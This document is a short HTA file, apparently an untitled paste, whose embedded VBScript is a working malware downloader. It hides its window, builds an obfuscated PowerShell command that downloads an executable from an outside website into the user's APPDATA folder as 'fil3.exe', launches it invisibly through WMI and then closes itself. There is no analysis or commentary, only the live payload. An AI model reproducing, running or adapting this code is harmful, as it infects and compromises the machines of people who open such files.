Untitled

<html>
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SYSMENU="no"  CAPTION="no" />
<SCRIPT Language="VBScript">

gshjgjshsjhsusyuiweiwuwiuwiuiww = "Powershell $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://jornaldacidade.store/docxxx'',$env:APPDATA+''\\''+''fil3.exe'')'|D; start-process($env:APPDATA+'\\'+'fil3.exe')"


exec(gshjgjshsjhsusyuiweiwuwiuwiuiww)


   Sub exec(Atc)
strCommand = Atc
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 0
Set objProcess = objWMIService.Get("Win32_Process")
intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
End Sub

self.close
</SCRIPT>
</body>
</html>